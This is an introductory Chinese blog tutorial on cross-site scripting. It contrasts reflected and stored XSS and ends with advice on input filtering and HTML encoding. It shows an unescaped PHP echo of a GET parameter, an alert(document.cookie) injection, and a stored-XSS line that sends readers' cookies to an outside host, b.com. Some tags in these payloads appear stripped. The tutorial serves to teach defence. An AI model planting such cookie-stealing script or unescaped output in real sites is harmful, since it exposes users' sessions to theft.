浅谈常见web安全漏洞之XSS

一、XSS简介

XSS 全称(Cross Site Scripting) 跨站脚本攻击,为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS,其核心就是恶意攻击者通常在web页面可输入的地方插入恶意js代码或html代码,当这个输入框没有经过安全处理的话,那么恶意js就会执行,从而窃取用户信息甚至做一些其他敏感操作。

考虑下面这个输入框:

这个输入框已经输入了“value1”,那假使我要恶意攻击的话,我不会输入value1,我会输入这个东西:

"/>alert(document.cookie)

于是,这个输入框最后得到的代码是这样:

alert(document.cookie)

看到没,非常巧妙地嵌了一个js进去了,如果我的输入框没有做任何处理,那么这个js就会执行,弹出当前浏览器的cookie。有同学会说,你这是攻击了自己啊。确实是,但是,当这个页面在别人的浏览器中加载的时候,我就可以达到攻击的目的。接下来我们看下恶意攻击者怎样攻击别人(我们不采用输入框的方式,采用url的方式)。

假设我们有一个网站a.com,一个页面地址如下:

http://www.a.com/index.php

该页面可以传一个参数x,后台处理逻辑如下:


echo $_GET['x'];

?>

如果输入x的值未经任何过滤就直接输出,提交如下:

http://www.a.com/index.php?x=alert(1)

然后我把该url或者带该url的页面通过邮件发给别人让别人去点,这时就会在用户的浏览器弹窗提示“1”。攻击者一看,哈,js能执行,这时候攻击者就会精心构造js,比如,我要构造一个js,把用户当前浏览器的cookie发给我,那么当用户访问该url的时候,cookie就被我窃取了。

上面介绍的这种xss攻击属于非持久型攻击,也就是说,这种攻击只对单个用户生效。

还有另外一种xss,叫存储型xss,提交的恶意代码会存储在服务器端。这种xss的影响范围会很大。下面来说下这种攻击。

假设a.com网站可以发文章,并且发文章的文本框没有做任何过滤处理,于是,我写了一篇文章,里面包含这样的代码:

window.open("www.b.com?param="+document.cookie)

保存后,某些用户看到了我的文章,看的那一瞬间,这个js就会执行,带着他们的cookie访问了我的网站b.com,于是,凡是看了这篇文章的人,我都能收到他们的cookie。怎么样,存储型的xss危害更大吧!

二、如何预防

XSS之所以会发生, 是因为用户输入的数据变成了代码。

用户输入的一切都是不可信的,所以我们需要对用户的输入进行处理,只允许输入合法的值,其它值一概应该过滤掉。假如某些情况下,我们不能对用户数据进行严格的过滤,那我们也需要对标签进行转换,即对用户输入的数据进行HTML Encode处理,将其中的尖括号、“与符号、单引号、双引号等之类的特殊字符进行编码,并且输出的内容也都需要经过html编码。HTML Encode一般不需要自己实现,一般都有现成的处理方法供调用。

标签:安全,xss

转载:http://www.yanyaozhen.com/archives/128/

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 160,108评论 4 364
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 67,699评论 1 296
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 109,812评论 0 244
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 44,236评论 0 213
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,583评论 3 288
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,739评论 1 222
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,957评论 2 315
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,704评论 0 204
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,447评论 1 246
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,643评论 2 249
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 32,133评论 1 261
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,486评论 3 256
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 33,151评论 3 238
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,108评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,889评论 0 197
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,782评论 2 277
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,681评论 2 272

推荐阅读更多精彩内容